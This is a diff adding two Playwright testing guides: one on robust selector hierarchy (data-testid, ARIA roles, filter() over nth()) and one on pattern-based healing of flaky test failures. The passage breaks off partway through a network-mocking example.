+
+## Principle
+
+Robust selectors follow a strict hierarchy: **data-testid > ARIA roles > text content > CSS/IDs** (last resort). Selectors must be resilient to UI changes (styling, layout, content updates) and remain human-readable for maintenance.
+
+## Rationale
+
+**The Problem**: Brittle selectors (CSS classes, nth-child, complex XPath) break when UI styling changes, elements are reordered, or design updates occur. This causes test maintenance burden and false negatives.
+
+**The Solution**: Prioritize semantic selectors that reflect user intent (ARIA roles, accessible names, test IDs). Use dynamic filtering for lists instead of nth() indexes. Validate selectors during code review and refactor proactively.
+
+**Why This Matters**:
+
+- Prevents false test failures (UI refactoring doesn't break tests)
+- Improves accessibility (ARIA roles benefit both tests and screen readers)
+- Enhances readability (semantic selectors document user intent)
+- Reduces maintenance burden (robust selectors survive design changes)
+
+## Pattern Examples
+
+### Example 1: Selector Hierarchy (Priority Order with Examples)
+
+**Context**: Choose the most resilient selector for each element type
+
+**Implementation**:
+
+```typescript
+// tests/selectors/hierarchy-examples.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Hierarchy Best Practices', () => {
+  test('Level 1: data-testid (BEST - most resilient)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ✅ Best: Dedicated test attribute (survives all UI changes)
+    await page.getByTestId('email-input').fill('user@example.com');
+    await page.getByTestId('password-input').fill('password123');
+    await page.getByTestId('login-button').click();
+
+    await expect(page.getByTestId('welcome-message')).toBeVisible();
+
+    // Why it's best:
+    // - Survives CSS refactoring (class name changes)
+    // - Survives layout changes (element reordering)
+    // - Survives content changes (button text updates)
+    // - Explicit test contract (developer knows it's for testing)
+  });
+
+  test('Level 2: ARIA roles and accessible names (GOOD - future-proof)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ✅ Good: Semantic HTML roles (benefits accessibility + tests)
+    await page.getByRole('textbox', { name: 'Email' }).fill('user@example.com');
+    await page.getByRole('textbox', { name: 'Password' }).fill('password123');
+    await page.getByRole('button', { name: 'Sign In' }).click();
+
+    await expect(page.getByRole('heading', { name: 'Welcome' })).toBeVisible();
+
+    // Why it's good:
+    // - Survives CSS refactoring
+    // - Survives layout changes
+    // - Enforces accessibility (screen reader compatible)
+    // - Self-documenting (role + name = clear intent)
+  });
+
+  test('Level 3: Text content (ACCEPTABLE - user-centric)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ✅ Acceptable: Text content (matches user perception)
+    await page.getByText('Create New Order').click();
+    await expect(page.getByText('Order Details')).toBeVisible();
+
+    // Why it's acceptable:
+    // - User-centric (what user sees)
+    // - Survives CSS/layout changes
+    // - Breaks when copy changes (forces test update with content)
+
+    // ⚠️ Use with caution for dynamic/localized content:
+    // - Avoid for content with variables: "User 123" (use regex instead)
+    // - Avoid for i18n content (use data-testid or ARIA)
+  });
+
+  test('Level 4: CSS classes/IDs (LAST RESORT - brittle)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ❌ Last resort: CSS class (breaks with styling updates)
+    // await page.locator('.btn-primary').click()
+
+    // ❌ Last resort: ID (breaks if ID changes)
+    // await page.locator('#login-form').fill(...)
+
+    // ✅ Better: Use data-testid or ARIA instead
+    await page.getByTestId('login-button').click();
+
+    // Why CSS/ID is last resort:
+    // - Breaks with CSS refactoring (class name changes)
+    // - Breaks with HTML restructuring (ID changes)
+    // - Not semantic (unclear what element does)
+    // - Tight coupling between tests and styling
+  });
+});
+```
+
+**Key Points**:
+
+- Hierarchy: data-testid (best) > ARIA (good) > text (acceptable) > CSS/ID (last resort)
+- data-testid survives ALL UI changes (explicit test contract)
+- ARIA roles enforce accessibility (screen reader compatible)
+- Text content is user-centric (but breaks with copy changes)
+- CSS/ID are brittle (break with styling refactoring)
+
+---
+
+### Example 2: Dynamic Selector Patterns (Lists, Filters, Regex)
+
+**Context**: Handle dynamic content, lists, and variable data with resilient selectors
+
+**Implementation**:
+
+```typescript
+// tests/selectors/dynamic-selectors.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Dynamic Selector Patterns', () => {
+  test('regex for variable content (user IDs, timestamps)', async ({ page }) => {
+    await page.goto('/users');
+
+    // ✅ Good: Regex pattern for dynamic user IDs
+    await expect(page.getByText(/User \d+/)).toBeVisible();
+
+    // ✅ Good: Regex for timestamps
+    await expect(page.getByText(/Last login: \d{4}-\d{2}-\d{2}/)).toBeVisible();
+
+    // ✅ Good: Regex for dynamic counts
+    await expect(page.getByText(/\d+ items in cart/)).toBeVisible();
+  });
+
+  test('partial text matching (case-insensitive, substring)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ✅ Good: Partial match (survives minor text changes)
+    await page.getByText('Product', { exact: false }).first().click();
+
+    // ✅ Good: Case-insensitive (survives capitalization changes)
+    await expect(page.getByText(/sign in/i)).toBeVisible();
+  });
+
+  test('filter locators for lists (avoid brittle nth)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Bad: Index-based (breaks when order changes)
+    // await page.locator('.product-card').nth(2).click()
+
+    // ✅ Good: Filter by content (resilient to reordering)
+    await page.locator('[data-testid="product-card"]').filter({ hasText: 'Premium Plan' }).click();
+
+    // ✅ Good: Filter by attribute
+    await page
+      .locator('[data-testid="product-card"]')
+      .filter({ has: page.locator('[data-status="active"]') })
+      .first()
+      .click();
+  });
+
+  test('nth() only when absolutely necessary', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ⚠️ Acceptable: nth(0) for first item (common pattern)
+    const firstNotification = page.getByTestId('notification').nth(0);
+    await expect(firstNotification).toContainText('Welcome');
+
+    // ❌ Bad: nth(5) for arbitrary index (fragile)
+    // await page.getByTestId('notification').nth(5).click()
+
+    // ✅ Better: Use filter() with specific criteria
+    await page.getByTestId('notification').filter({ hasText: 'Critical Alert' }).click();
+  });
+
+  test('combine multiple locators for specificity', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ✅ Good: Narrow scope with combined locators
+    const shippingSection = page.getByTestId('shipping-section');
+    await shippingSection.getByLabel('Address Line 1').fill('123 Main St');
+    await shippingSection.getByLabel('City').fill('New York');
+
+    // Scoping prevents ambiguity (multiple "City" fields on page)
+  });
+});
+```
+
+**Key Points**:
+
+- Regex patterns handle variable content (IDs, timestamps, counts)
+- Partial matching survives minor text changes (`exact: false`)
+- `filter()` is more resilient than `nth()` (content-based vs index-based)
+- `nth(0)` acceptable for "first item", avoid arbitrary indexes
+- Combine locators to narrow scope (prevent ambiguity)
+
+---
+
+### Example 3: Selector Anti-Patterns (What NOT to Do)
+
+**Context**: Common selector mistakes that cause brittle tests
+
+**Problem Examples**:
+
+```typescript
+// tests/selectors/anti-patterns.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Anti-Patterns to Avoid', () => {
+  test('❌ Anti-Pattern 1: CSS classes (brittle)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ❌ Bad: CSS class (breaks with design system updates)
+    // await page.locator('.btn-primary').click()
+    // await page.locator('.form-input-lg').fill('test@example.com')
+
+    // ✅ Good: Use data-testid or ARIA role
+    await page.getByTestId('login-button').click();
+    await page.getByRole('textbox', { name: 'Email' }).fill('test@example.com');
+  });
+
+  test('❌ Anti-Pattern 2: Index-based nth() (fragile)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Bad: Index-based (breaks when product order changes)
+    // await page.locator('.product-card').nth(3).click()
+
+    // ✅ Good: Content-based filter
+    await page.locator('[data-testid="product-card"]').filter({ hasText: 'Laptop' }).click();
+  });
+
+  test('❌ Anti-Pattern 3: Complex XPath (hard to maintain)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ❌ Bad: Complex XPath (unreadable, breaks with structure changes)
+    // await page.locator('xpath=//div[@class="container"]//section[2]//button[contains(@class, "primary")]').click()
+
+    // ✅ Good: Semantic selector
+    await page.getByRole('button', { name: 'Create Order' }).click();
+  });
+
+  test('❌ Anti-Pattern 4: ID selectors (coupled to implementation)', async ({ page }) => {
+    await page.goto('/settings');
+
+    // ❌ Bad: HTML ID (breaks if ID changes for accessibility/SEO)
+    // await page.locator('#user-settings-form').fill(...)
+
+    // ✅ Good: data-testid or ARIA landmark
+    await page.getByTestId('user-settings-form').getByLabel('Display Name').fill('John Doe');
+  });
+
+  test('✅ Refactoring: Bad → Good Selector', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // Before (brittle):
+    // await page.locator('.checkout-form > .payment-section > .btn-submit').click()
+
+    // After (resilient):
+    await page.getByTestId('checkout-form').getByRole('button', { name: 'Complete Payment' }).click();
+
+    await expect(page.getByText('Payment successful')).toBeVisible();
+  });
+});
+```
+
+**Why These Fail**:
+
+- **CSS classes**: Change frequently with design updates (Tailwind, CSS modules)
+- **nth() indexes**: Fragile to element reordering (new features, A/B tests)
+- **Complex XPath**: Unreadable, breaks with HTML structure changes
+- **HTML IDs**: Not stable (accessibility improvements change IDs)
+
+**Better Approach**: Use selector hierarchy (testid > ARIA > text)
+
+---
+
+### Example 4: Selector Debugging Techniques (Inspector, DevTools, MCP)
+
+**Context**: Debug selector failures interactively to find better alternatives
+
+**Implementation**:
+
+```typescript
+// tests/selectors/debugging-techniques.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Debugging Techniques', () => {
+  test('use Playwright Inspector to test selectors', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Pause test to open Inspector
+    await page.pause();
+
+    // In Inspector console, test selectors:
+    // page.getByTestId('user-menu')              ✅ Works
+    // page.getByRole('button', { name: 'Profile' }) ✅ Works
+    // page.locator('.btn-primary')               ❌ Brittle
+
+    // Use "Pick Locator" feature to generate selectors
+    // Use "Record" mode to capture user interactions
+
+    await page.getByTestId('user-menu').click();
+    await expect(page.getByRole('menu')).toBeVisible();
+  });
+
+  test('use locator.all() to debug lists', async ({ page }) => {
+    await page.goto('/products');
+
+    // Debug: How many products are visible?
+    const products = await page.getByTestId('product-card').all();
+    console.log(`Found ${products.length} products`);
+
+    // Debug: What text is in each product?
+    for (const product of products) {
+      const text = await product.textContent();
+      console.log(`Product text: ${text}`);
+    }
+
+    // Use findings to build better selector
+    await page.getByTestId('product-card').filter({ hasText: 'Laptop' }).click();
+  });
+
+  test('use DevTools console to test selectors', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // Open DevTools (manually or via page.pause())
+    // Test selectors in console:
+    // document.querySelectorAll('[data-testid="payment-method"]')
+    // document.querySelector('#credit-card-input')
+
+    // Find robust selector through trial and error
+    await page.getByTestId('payment-method').selectOption('credit-card');
+  });
+
+  test('MCP browser_generate_locator (if available)', async ({ page }) => {
+    await page.goto('/products');
+
+    // If Playwright MCP available, use browser_generate_locator:
+    // 1. Click element in browser
+    // 2. MCP generates optimal selector
+    // 3. Copy into test
+
+    // Example output from MCP:
+    // page.getByRole('link', { name: 'Product A' })
+
+    // Use generated selector
+    await page.getByRole('link', { name: 'Product A' }).click();
+    await expect(page).toHaveURL(/\/products\/\d+/);
+  });
+});
+```
+
+**Key Points**:
+
+- Playwright Inspector: Interactive selector testing with "Pick Locator" feature
+- `locator.all()`: Debug lists to understand structure and content
+- DevTools console: Test CSS selectors before adding to tests
+- MCP browser_generate_locator: Auto-generate optimal selectors (if MCP available)
+- Always validate selectors work before committing
+
+---
+
+### Example 2: Selector Refactoring Guide (Before/After Patterns)
+
+**Context**: Systematically improve brittle selectors to resilient alternatives
+
+**Implementation**:
+
+```typescript
+// tests/selectors/refactoring-guide.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Refactoring Patterns', () => {
+  test('refactor: CSS class → data-testid', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Before: CSS class (breaks with Tailwind updates)
+    // await page.locator('.bg-blue-500.px-4.py-2.rounded').click()
+
+    // ✅ After: data-testid
+    await page.getByTestId('add-to-cart-button').click();
+
+    // Implementation: Add data-testid to button component
+    // <button className="bg-blue-500 px-4 py-2 rounded" data-testid="add-to-cart-button">
+  });
+
+  test('refactor: nth() index → filter()', async ({ page }) => {
+    await page.goto('/users');
+
+    // ❌ Before: Index-based (breaks when users reorder)
+    // await page.locator('.user-row').nth(2).click()
+
+    // ✅ After: Content-based filter
+    await page.locator('[data-testid="user-row"]').filter({ hasText: 'john@example.com' }).click();
+  });
+
+  test('refactor: Complex XPath → ARIA role', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ❌ Before: Complex XPath (unreadable, brittle)
+    // await page.locator('xpath=//div[@id="payment"]//form//button[contains(@class, "submit")]').click()
+
+    // ✅ After: ARIA role
+    await page.getByRole('button', { name: 'Complete Payment' }).click();
+  });
+
+  test('refactor: ID selector → data-testid', async ({ page }) => {
+    await page.goto('/settings');
+
+    // ❌ Before: HTML ID (changes with accessibility improvements)
+    // await page.locator('#user-profile-section').getByLabel('Name').fill('John')
+
+    // ✅ After: data-testid + semantic label
+    await page.getByTestId('user-profile-section').getByLabel('Display Name').fill('John Doe');
+  });
+
+  test('refactor: Deeply nested CSS → scoped data-testid', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ❌ Before: Deep nesting (breaks with structure changes)
+    // await page.locator('.container .sidebar .menu .item:nth-child(3) a').click()
+
+    // ✅ After: Scoped data-testid
+    const sidebar = page.getByTestId('sidebar');
+    await sidebar.getByRole('link', { name: 'Settings' }).click();
+  });
+});
+```
+
+**Key Points**:
+
+- CSS class → data-testid (survives design system updates)
+- nth() → filter() (content-based vs index-based)
+- Complex XPath → ARIA role (readable, semantic)
+- ID → data-testid (decouples from HTML structure)
+- Deep nesting → scoped locators (modular, maintainable)
+
+---
+
+### Example 3: Selector Best Practices Checklist
+
+```typescript
+// tests/selectors/validation-checklist.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Selector Validation Checklist
+ *
+ * Before committing test, verify selectors meet these criteria:
+ */
+test.describe('Selector Best Practices Validation', () => {
+  test('✅ 1. Prefer data-testid for interactive elements', async ({ page }) => {
+    await page.goto('/login');
+
+    // Interactive elements (buttons, inputs, links) should use data-testid
+    await page.getByTestId('email-input').fill('test@example.com');
+    await page.getByTestId('login-button').click();
+  });
+
+  test('✅ 2. Use ARIA roles for semantic elements', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Semantic elements (headings, navigation, forms) use ARIA
+    await expect(page.getByRole('heading', { name: 'Dashboard' })).toBeVisible();
+    await page.getByRole('navigation').getByRole('link', { name: 'Settings' }).click();
+  });
+
+  test('✅ 3. Avoid CSS classes (except when testing styles)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Never for interaction: page.locator('.btn-primary')
+    // ✅ Only for visual regression: await expect(page.locator('.error-banner')).toHaveCSS('color', 'rgb(255, 0, 0)')
+  });
+
+  test('✅ 4. Use filter() instead of nth() for lists', async ({ page }) => {
+    await page.goto('/orders');
+
+    // List selection should be content-based
+    await page.getByTestId('order-row').filter({ hasText: 'Order #12345' }).click();
+  });
+
+  test('✅ 5. Selectors are human-readable', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ✅ Good: Clear intent
+    await page.getByTestId('shipping-address-form').getByLabel('Street Address').fill('123 Main St');
+
+    // ❌ Bad: Cryptic
+    // await page.locator('div > div:nth-child(2) > input[type="text"]').fill('123 Main St')
+  });
+});
+```
+
+**Validation Rules**:
+
+1. **Interactive elements** (buttons, inputs) → data-testid
+2. **Semantic elements** (headings, nav, forms) → ARIA roles
+3. **CSS classes** → Avoid (except visual regression tests)
+4. **Lists** → filter() over nth() (content-based selection)
+5. **Readability** → Selectors document user intent (clear, semantic)
+
+---
+
+## Selector Resilience Checklist
+
+Before deploying selectors:
+
+- [ ] **Hierarchy followed**: data-testid (1st choice) > ARIA (2nd) > text (3rd) > CSS/ID (last resort)
+- [ ] **Interactive elements use data-testid**: Buttons, inputs, links have dedicated test attributes
+- [ ] **Semantic elements use ARIA**: Headings, navigation, forms use roles and accessible names
+- [ ] **No brittle patterns**: No CSS classes (except visual tests), no arbitrary nth(), no complex XPath
+- [ ] **Dynamic content handled**: Regex for IDs/timestamps, filter() for lists, partial matching for text
+- [ ] **Selectors are scoped**: Use container locators to narrow scope (prevent ambiguity)
+- [ ] **Human-readable**: Selectors document user intent (clear, semantic, maintainable)
+- [ ] **Validated in Inspector**: Test selectors interactively before committing (page.pause())
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (generate tests with robust selectors), `*automate` (healing selector failures), `*test-review` (validate selector quality)
+- **Related fragments**: `test-healing-patterns.md` (selector failure diagnosis), `fixture-architecture.md` (page object alternatives), `test-quality.md` (maintainability standards)
+- **Tools**: Playwright Inspector (Pick Locator), DevTools console, Playwright MCP browser_generate_locator (optional)
+
+_Source: Playwright selector best practices, accessibility guidelines (ARIA), production test maintenance patterns_
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/test-healing-patterns.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/test-healing-patterns.md
new file mode 100644
index 0000000..ce2676d
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/test-healing-patterns.md
@@ -0,0 +1,644 @@
+# Test Healing Patterns
+
+## Principle
+
+Common test failures follow predictable patterns (stale selectors, race conditions, dynamic data assertions, network errors, hard waits). **Automated healing** identifies failure signatures and applies pattern-based fixes. Manual healing captures these patterns for future automation.
+
+## Rationale
+
+**The Problem**: Test failures waste developer time on repetitive debugging. Teams manually fix the same selector issues, timing bugs, and data mismatches repeatedly across test suites.
+
+**The Solution**: Catalog common failure patterns with diagnostic signatures and automated fixes. When a test fails, match the error message/stack trace against known patterns and apply the corresponding fix. This transforms test maintenance from reactive debugging to proactive pattern application.
+
+**Why This Matters**:
+
+- Reduces test maintenance time by 60-80% (pattern-based fixes vs manual debugging)
+- Prevents flakiness regression (same bug fixed once, applied everywhere)
+- Builds institutional knowledge (failure catalog grows over time)
+- Enables self-healing test suites (automate workflow validates and heals)
+
+## Pattern Examples
+
+### Example 1: Common Failure Pattern - Stale Selectors (Element Not Found)
+
+**Context**: Test fails with "Element not found" or "Locator resolved to 0 elements" errors
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/selector-healing.ts
+
+export type SelectorFailure = {
+  errorMessage: string;
+  stackTrace: string;
+  selector: string;
+  testFile: string;
+  lineNumber: number;
+};
+
+/**
+ * Detect stale selector failures
+ */
+export function isSelectorFailure(error: Error): boolean {
+  const patterns = [
+    /locator.*resolved to 0 elements/i,
+    /element not found/i,
+    /waiting for locator.*to be visible/i,
+    /selector.*did not match any elements/i,
+    /unable to find element/i,
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Extract selector from error message
+ */
+export function extractSelector(errorMessage: string): string | null {
+  // Playwright: "locator('button[type=\"submit\"]') resolved to 0 elements"
+  const playwrightMatch = errorMessage.match(/locator\('([^']+)'\)/);
+  if (playwrightMatch) return playwrightMatch[1];
+
+  // Cypress: "Timed out retrying: Expected to find element: '.submit-button'"
+  const cypressMatch = errorMessage.match(/Expected to find element: ['"]([^'"]+)['"]/i);
+  if (cypressMatch) return cypressMatch[1];
+
+  return null;
+}
+
+/**
+ * Suggest better selector based on hierarchy
+ */
+export function suggestBetterSelector(badSelector: string): string {
+  // If using CSS class → suggest data-testid
+  if (badSelector.startsWith('.') || badSelector.includes('class=')) {
+    const elementName = badSelector.match(/class=["']([^"']+)["']/)?.[1] || badSelector.slice(1);
+    return `page.getByTestId('${elementName}') // Prefer data-testid over CSS class`;
+  }
+
+  // If using ID → suggest data-testid
+  if (badSelector.startsWith('#')) {
+    return `page.getByTestId('${badSelector.slice(1)}') // Prefer data-testid over ID`;
+  }
+
+  // If using nth() → suggest filter() or more specific selector
+  if (badSelector.includes('.nth(')) {
+    return `page.locator('${badSelector.split('.nth(')[0]}').filter({ hasText: 'specific text' }) // Avoid brittle nth(), use filter()`;
+  }
+
+  // If using complex CSS → suggest ARIA role
+  if (badSelector.includes('>') || badSelector.includes('+')) {
+    return `page.getByRole('button', { name: 'Submit' }) // Prefer ARIA roles over complex CSS`;
+  }
+
+  return `page.getByTestId('...') // Add data-testid attribute to element`;
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/selector-healing.spec.ts
+import { test, expect } from '@playwright/test';
+import { isSelectorFailure, extractSelector, suggestBetterSelector } from '../../src/testing/healing/selector-healing';
+
+test('heal stale selector failures automatically', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  try {
+    // Original test with brittle CSS selector
+    await page.locator('.btn-primary').click();
+  } catch (error: any) {
+    if (isSelectorFailure(error)) {
+      const badSelector = extractSelector(error.message);
+      const suggestion = badSelector ? suggestBetterSelector(badSelector) : null;
+
+      console.log('HEALING SUGGESTION:', suggestion);
+
+      // Apply healed selector
+      await page.getByTestId('submit-button').click(); // Fixed!
+    } else {
+      throw error; // Not a selector issue, rethrow
+    }
+  }
+
+  await expect(page.getByText('Success')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error message contains "locator resolved to 0 elements" or "element not found"
+- Fix: Replace brittle selector (CSS class, ID, nth) with robust alternative (data-testid, ARIA role)
+- Prevention: Follow selector hierarchy (data-testid > ARIA > text > CSS)
+- Automation: Pattern matching on error message + stack trace
+
+---
+
+### Example 2: Common Failure Pattern - Race Conditions (Timing Errors)
+
+**Context**: Test fails with "timeout waiting for element" or "element not visible" errors
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/timing-healing.ts
+
+export type TimingFailure = {
+  errorMessage: string;
+  testFile: string;
+  lineNumber: number;
+  actionType: 'click' | 'fill' | 'waitFor' | 'expect';
+};
+
+/**
+ * Detect race condition failures
+ */
+export function isTimingFailure(error: Error): boolean {
+  const patterns = [
+    /timeout.*waiting for/i,
+    /element is not visible/i,
+    /element is not attached to the dom/i,
+    /waiting for element to be visible.*exceeded/i,
+    /timed out retrying/i,
+    /waitForLoadState.*timeout/i,
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Detect hard wait anti-pattern
+ */
+export function hasHardWait(testCode: string): boolean {
+  const hardWaitPatterns = [/page\.waitForTimeout\(/, /cy\.wait\(\d+\)/, /await.*sleep\(/, /setTimeout\(/];
+
+  return hardWaitPatterns.some((pattern) => pattern.test(testCode));
+}
+
+/**
+ * Suggest deterministic wait replacement
+ */
+export function suggestDeterministicWait(testCode: string): string {
+  if (testCode.includes('page.waitForTimeout')) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+// await page.waitForTimeout(3000)
+
+// ✅ Good: Wait for network response
+await page.waitForResponse(resp => resp.url().includes('/api/data') && resp.status() === 200)
+
+// OR wait for element state
+await page.getByTestId('loading-spinner').waitFor({ state: 'detached' })
+    `.trim();
+  }
+
+  if (testCode.includes('cy.wait(') && /cy\.wait\(\d+\)/.test(testCode)) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+// cy.wait(3000)
+
+// ✅ Good: Wait for aliased network request
+cy.intercept('GET', '/api/data').as('getData')
+cy.visit('/page')
+cy.wait('@getData')
+    `.trim();
+  }
+
+  return `
+// Add network-first interception BEFORE navigation:
+await page.route('**/api/**', route => route.continue())
+const responsePromise = page.waitForResponse('**/api/data')
+await page.goto('/page')
+await responsePromise
+  `.trim();
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/timing-healing.spec.ts
+import { test, expect } from '@playwright/test';
+import { isTimingFailure, hasHardWait, suggestDeterministicWait } from '../../src/testing/healing/timing-healing';
+
+test('heal race condition with network-first pattern', async ({ page, context }) => {
+  // Setup interception BEFORE navigation (prevent race)
+  await context.route('**/api/products', (route) => {
+    route.fulfill({
+      status: 200,
+      body: JSON.stringify({ products: [{ id: 1, name: 'Product A' }] }),
+    });
+  });
+
+  const responsePromise = page.waitForResponse('**/api/products');
+
+  await page.goto('/products');
+  await responsePromise; // Deterministic wait
+
+  // Element now reliably visible (no race condition)
+  await expect(page.getByText('Product A')).toBeVisible();
+});
+
+test('heal hard wait with event-based wait', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // ❌ Original (flaky): await page.waitForTimeout(3000)
+
+  // ✅ Healed: Wait for spinner to disappear
+  await page.getByTestId('loading-spinner').waitFor({ state: 'detached' });
+
+  // Element now reliably visible
+  await expect(page.getByText('Dashboard loaded')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error contains "timeout" or "not visible", often after navigation
+- Fix: Replace hard waits with network-first pattern or element state waits
+- Prevention: ALWAYS intercept before navigate, use waitForResponse()
+- Automation: Detect `page.waitForTimeout()` or `cy.wait(number)` in test code
+
+---
+
+### Example 3: Common Failure Pattern - Dynamic Data Assertions (Non-Deterministic IDs)
+
+**Context**: Test fails with "Expected 'User 123' but received 'User 456'" or timestamp mismatches
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/data-healing.ts
+
+export type DataFailure = {
+  errorMessage: string;
+  expectedValue: string;
+  actualValue: string;
+  testFile: string;
+  lineNumber: number;
+};
+
+/**
+ * Detect dynamic data assertion failures
+ */
+export function isDynamicDataFailure(error: Error): boolean {
+  const patterns = [
+    /expected.*\d+.*received.*\d+/i, // ID mismatches
+    /expected.*\d{4}-\d{2}-\d{2}.*received/i, // Date mismatches
+    /expected.*user.*\d+/i, // Dynamic user IDs
+    /expected.*order.*\d+/i, // Dynamic order IDs
+    /expected.*to.*contain.*\d+/i, // Numeric assertions
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Suggest flexible assertion pattern
+ */
+export function suggestFlexibleAssertion(errorMessage: string): string {
+  if (/expected.*user.*\d+/i.test(errorMessage)) {
+    return `
+// ❌ Bad: Hardcoded ID
+// await expect(page.getByText('User 123')).toBeVisible()
+
+// ✅ Good: Regex pattern for any user ID
+await expect(page.getByText(/User \\d+/)).toBeVisible()
+
+// OR use partial match
+await expect(page.locator('[data-testid="user-name"]')).toContainText('User')
+    `.trim();
+  }
+
+  if (/expected.*\d{4}-\d{2}-\d{2}/i.test(errorMessage)) {
+    return `
+// ❌ Bad: Hardcoded date
+// await expect(page.getByText('2024-01-15')).toBeVisible()
+
+// ✅ Good: Dynamic date validation
+const today = new Date().toISOString().split('T')[0]
+await expect(page.getByTestId('created-date')).toHaveText(today)
+
+// OR use date format regex
+await expect(page.getByTestId('created-date')).toHaveText(/\\d{4}-\\d{2}-\\d{2}/)
+    `.trim();
+  }
+
+  if (/expected.*order.*\d+/i.test(errorMessage)) {
+    return `
+// ❌ Bad: Hardcoded order ID
+// const orderId = '12345'
+
+// ✅ Good: Capture dynamic order ID
+const orderText = await page.getByTestId('order-id').textContent()
+const orderId = orderText?.match(/Order #(\\d+)/)?.[1]
+expect(orderId).toBeTruthy()
+
+// Use captured ID in later assertions
+await expect(page.getByText(\`Order #\${orderId} confirmed\`)).toBeVisible()
+    `.trim();
+  }
+
+  return `Use regex patterns, partial matching, or capture dynamic values instead of hardcoding`;
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/data-healing.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('heal dynamic ID assertion with regex', async ({ page }) => {
+  await page.goto('/users');
+
+  // ❌ Original (fails with random IDs): await expect(page.getByText('User 123')).toBeVisible()
+
+  // ✅ Healed: Regex pattern matches any user ID
+  await expect(page.getByText(/User \d+/)).toBeVisible();
+});
+
+test('heal timestamp assertion with dynamic generation', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // ❌ Original (fails daily): await expect(page.getByText('2024-01-15')).toBeVisible()
+
+  // ✅ Healed: Generate expected date dynamically
+  const today = new Date().toISOString().split('T')[0];
+  await expect(page.getByTestId('last-updated')).toContainText(today);
+});
+
+test('heal order ID assertion with capture', async ({ page, request }) => {
+  // Create order via API (dynamic ID)
+  const response = await request.post('/api/orders', {
+    data: { productId: '123', quantity: 1 },
+  });
+  const { orderId } = await response.json();
+
+  // ✅ Healed: Use captured dynamic ID
+  await page.goto(`/orders/${orderId}`);
+  await expect(page.getByText(`Order #${orderId}`)).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error message shows expected vs actual value mismatch with IDs/timestamps
+- Fix: Use regex patterns (`/User \d+/`), partial matching, or capture dynamic values
+- Prevention: Never hardcode IDs, timestamps, or random data in assertions
+- Automation: Parse error message for expected/actual values, suggest regex patterns
+
+---
+
+### Example 4: Common Failure Pattern - Network Errors (Missing Route Interception)
+
+**Context**: Test fails with "API call failed" or "500 error" during test execution
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/network-healing.ts
+
+export type NetworkFailure = {
+  errorMessage: string;
+  url: string;
+  statusCode: number;
+  method: string;
+};
+
+/**
+ * Detect network failure
+ */
+export function isNetworkFailure(error: Error): boolean {
+  const patterns = [
+    /api.*call.*failed/i,
+    /request.*failed/i,
+    /network.*error/i,
+    /500.*internal server error/i,
+    /503.*service unavailable/i,
+    /fetch.*failed/i,
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Suggest route interception
+ */
+export function suggestRouteInterception(url: string, method: string): string {
+  return `
+// ❌ Bad: Real API call (unreliable, slow, external dependency)
+
+// ✅ Good: Mock API response with route interception
+await page.route('${url}', route => {
+  route.fulfill({
+    status: 200,
+    contentType: 'application/json',
+    body: JSON.stringify({
+      // Mock response data
+      id: 1,
+      name: 'Test User',
+      email: 'test@example.com'
+    })
+  })
+})
+
+// Then perform action
+await page.goto('/page')
+  `.trim();
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/network-healing.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('heal network failure with route mocking', async ({ page, context }) => {
+  // ✅ Healed: Mock API to prevent real network calls
+  await context.route('**/api/products', (route) => {
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify({
+        products: [
+          { id: 1, name: 'Product A', price: 29.99 },
